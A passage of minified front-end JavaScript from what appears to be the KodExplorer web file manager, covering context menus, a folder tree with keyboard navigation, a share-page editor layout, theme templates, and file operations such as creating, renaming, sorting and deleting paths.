a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o,s){var r=n(o),l="folderListZip"+UUID();r=ui.tree.treeDataSort(r),m(l,e,s),a(),r={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:r,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+l),i,r),t=$.fn.zTree.getZTreeObj(l),_(l),u(t.getNodeByParam("index","-1",null))},g=function(e){var i=$(".zip_view_"+md5(e));if(i.length>0)return i.shake(3,20,80),void 0;var n="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(n="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(n=G.app_host+"index.php?"+n,$.ajax({url:n,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(i){Tips.close(i),i.code?(v(core.pathThis(e),i.data,e),t.setting.filePath=e,t.setting.fileUrl=n):ui.pathOpen.openUnknow(e,i.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/rightMenu",[],function(){var e=".menufile",t=".menufolder",i=".menuMore",n=".menuTreeRoot",a=".menuTreeFolder",o=".menuTreeFile",s={listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep105:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},r=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),c(),d(),p(),u(),m(),_(),x(),y(),b(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),m(),y(),x(),v(),g(),b(),$(".context-menu-root").addClass("animated fadeIn")},c=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){f(e,t)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:s.listIcon,sortBy:s.sortBy,setFileIconSize:s.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},d=function(){$('<i class="'+t.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"<b>Ctrl+F</b>",className:"search",icon:"search",accesskey:"s"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},p=function(){$('<i class="'+e.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},open_text:{name:LNG.edit+"<b>Ctrl+E</b>",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('<i class="'+i.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){h(e)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},f=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open();break;default:}},h=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"open_text":ui.path.openEditor();break;case"playmedia":ui.path.play();break;case"search":ui.path.search();break;case"show_file":ui.path.show_file();break;case"openProject":ui.path.openProject();break;case"info":ui.path.info();break;default:}},m=function(){$('<i class="'+n.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},_=function(){$('<i class="'+a.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('<i class="'+a.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},g=function(){$('<i class="'+o.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){k(e)},items:{edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},b=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":n.close()}}})},y=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})},x=function(){$('<i class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep101:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"quit_dialog":n.close();break;case"hide_dialog":n.display(!1);break;case"refresh":n.refresh();break;case"open_window":n.open_window();break;case"qrcode":core.qrcode(n.DOM.wrap.find("iframe").attr("src"));break;default:}}})},k=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"show_file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initExplorer:r,initEditor:l,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e="disabled",t=$(".context-menu-list").filter(":visible"),i=$(".context-menu-active");if(0!=t.length&&0!=i.length){if(i.hasClass("dialog_menu")){var n=i.attr("id"),a=$.dialog.list[n];a.has_frame()?(t.find(".open_window").show(),t.find(".refresh").show()):(t.find(".open_window").hide(),t.find(".refresh").hide())}if(i.hasClass("menufile")){var o=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==o?t.find(".unzip").show():t.find(".unzip").hide(),"html"==o||"htm"==o||"oexe"==o?t.find(".open_text").show():t.find(".open_text").hide()}if(i.hasClass("menuMore")){var s=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(s+=1)}),0==s?t.find(".playmedia").hide():t.find(".playmedia").show()}(i.hasClass("menuZipListFolder")||i.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?t.find(".unzip_this").removeClass(e):t.find(".unzip_this").addClass(e),G.sid&&t.find(".unzip_to").addClass(e))}},isDisplay:function(){var e=!1;return $(".context-menu-list").each(function(){"none"!=$(this).css("display")&&(e=!0)}),e},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/src/share_editor/ui",[],function(){var e=function(){var e=!1,t=0,i=0,n=0,a=$(".frame-left"),o=$(".frame-resize"),s=$(".frame-right");o.die("mousedown").live("mousedown",function(e){return 1!=e.which?!0:(r(e),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){l(e)}),$(document).one("mouseup",function(e){return c(e),this.releaseCapture&&this.releaseCapture(),stopPP(e),!1}),stopPP(e),!1)});var r=function(n){e=!0,t=n.pageX,i=$(".frame-left").width(),o.addClass("active"),$(".resizeMask").css("display","block")},l=function(r){if(!e)return!0;var l=r.pageX-t,c=i+l;n>c&&(c=n),c>$(document).width()-200&&(c=$(document).width()-200),a.css("width",c),o.css("left",c-5),s.css("left",c+1)},c=function(){return e?(e=!1,o.removeClass("active"),$(".resizeMask").css("display","none"),void 0):!1}},t=function(){$(".tools-left a").click(function(){var e=$(this).attr("class");switch(e){case"home":tree.init();break;case"view":tree.explorer();break;case"folder":tree.create("folder");break;case"file":tree.create("file");break;case"refresh":tree.init();break;default:}})};return{init:function(){e(),t(),tree.init(),Mousetrap.bind(["ctrl+s","command+s"],function(e){e.preventDefault(),e.returnvalue=!1,ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()})})},setTheme:function(e){core.setSkin(e,"app_editor.css"),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)})},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},fileHistory:function(e){var t=G.project;if(G.sid!==void 0&&(t=t+"__"+G.sid),t="editorHistory_"+t,void 0==e){var i=LocalData.get(t);return i=jsonDecode(i),$.isArray(i)||(i=[]),i}LocalData.set(t,jsonEncode(e))}}}),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),n=e("./pathOpen"),a=!1;ui.pathOpen=n,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,f().type)&&n.open(f().path,f().type)},r=function(e,t){var i=["menuTreeGroup","menuTreeFav","menuTreeFolderFav"];if(e&&e[0]&&-1!==$.inArray(e[0].menuType,i))return e;for(var n=[],a=[],o=0;e.length>o;o++)e[o].drop=!1,e[o].drag=!1,e[o].name=e[o].name,e[o].isParent&&e[o].children&&(e[o].children=r(e[o].children)),e[o].is_writeable,"folder"==e[o].type?a.push(e[o]):n.push(e[o]);return t?e:(a=a.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),n=n.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),a.concat(n))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},n=function(t){for(var i=0;t.length>i;i++){var n=t[i].path;void 0!==e[n]&&(t[i].open=e[n])}return t},a=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),n={},a=0;t.length>a;a++)n[t[a].path]=t[a].open;return e=n,i(e),e};return e=i(),{list:function(){return e},reset:n,save:a}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>")},success:function(e){if(!e.code)return $("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>"),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folderList"),u,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var n=i.getPreNode();if(n){if(n.open&&n.children.length>0)for(;n.open&&n.children&&n.children.length>=1;)n=n.children[n.children.length-1]}else n=i.getParentNode();o.selectNode(n);break;case"down":if(i.open&&i.children.length>=1)n=i.children[0];else{var a=i,n=a.getNextNode()||a.getParentNode().getNextNode();try{for(;!n;)a=a.getParentNode(),n=a.getNextNode()||a.getParentNode().getNextNode()}catch(e){}}o.selectNode(n);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},u={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,n=$("#"+t.tId+"_switch"),a=$("#"+t.tId+"_ico");n.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),a.before(n).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&a.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";n.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),n.parent().addClass(r).attr("title",l),0==t.is_writeable&&n.parent().addClass("file_not_writeable"),0==t.is_readable&&n.parent().addClass("file_not_readable"),0===t.exists&&n.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,n,a){return $("#"+n.tId+"_my_ico").removeClass("ico_loading"),0==a.data.length?(o.removeChildNodes(n),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,n,a){var s=a.getParentNode();if(o.getNodesByParam("name",a.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(a),void 0;if(a.create){var r=a.path+"/"+a.name;"folder"==a.type?i.newFolder(r,function(){t=function(){var e=o.getNodesByParam("name",a.name,s)[0];o.selectNode(e),g()},h(s)}):i.newFile(r,function(){t=function(){var e=o.getNodesByParam("name",a.name,s)[0];o.selectNode(e),g()},h(s)})}else{var l=rtrim(a.path,"/"),c=core.pathFather(a.path)+a.name;i.rname(l,c,function(e){a.path=e,t=function(){var e=o.getNodesByParam("name",a.name,s)[0];o.selectNode(e),g(),"folder"==a.type&&ui.path.list(a.path)},h(s)})}},beforeDrag:function(e,t){for(var i=0,n=t.length;n>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,n,a){var o="",s="",r=n[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=a.father+urlEncode(a.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),g()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:n,treeDataSort:r,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){n.openEditor(f().path)},openWindow:function(){n.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):n.download(f().path)},setSelect:function(e){if(o){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),n.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){i.copy(f(!0))},cute:function(){i.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(f(!0),e,function(){v()})})},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(f(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=f(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){a||(a=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){a=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var n=o.getNodes();o.selectNode(n[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var a=f(),s=a.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:a.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:a.path}}if(void 0!=s.children){var u=o.addNodes(s,newNode)[0];o.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],n=function(e){var n=function(e,t){for(var i=t.length,n=0;i>n;n++)if(e.indexOf(t[n])>0)return!0;return!1},a=i;return G.system_os&&"windows"==G.system_os&&(a=t),n(e,a)?(Tips.tips(LNG.path_not_allow+": "+a.join(", "),!1),!1):!0},a=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},n=0;e.length>n;n++)t.push({type:i(e[n].type),path:urlEncode(i(e[n].path))});return"data_arr="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",n=0;Math.max(e.length,t.length)>n;n++)if(e.charAt(n)!=t.charAt(n)){var a=i.indexOf(e.charAt(n)),o=i.indexOf(t.charAt(n));return-1!=a&&-1!=o?a>o?1:o>a?-1:0:e.charAt(n)>t.charAt(n)?1:e.charAt(n)<t.charAt(n)?-1:0}return 0},s=function(e,t){if(void 0==e||void 0==t)return 0;var i=/([0-9\.]+)/g,n=(""+e).toLowerCase()||"",a=(""+t).toLowerCase()||"",s=String.fromCharCode(0),r=n.replace(i,s+"$1"+s).split(s),l=a.replace(i,s+"$1"+s).split(s),c=new Date(n).getTime(),d=c?new Date(a).getTime():null;if(d){if(d>c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return n(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return n(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?n(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&(e&&e.info?i(e.info):i(!1))}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i,n){if(i=void 0==i?!1:i,n=void 0==n?!1:n,window.event&&window.event.shiftKey&&(n=!0),!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=a(e);if("share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),n&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e[0]&&e[0].path){var c="<b>"+htmlEncode(core.pathThis(e[0].path))+"</b>";s=e.length>1?c+' ... <span class="badge">'+e.length+LNG.remove_item+"</span><br/>"+s:c+"<br/>"+s}var 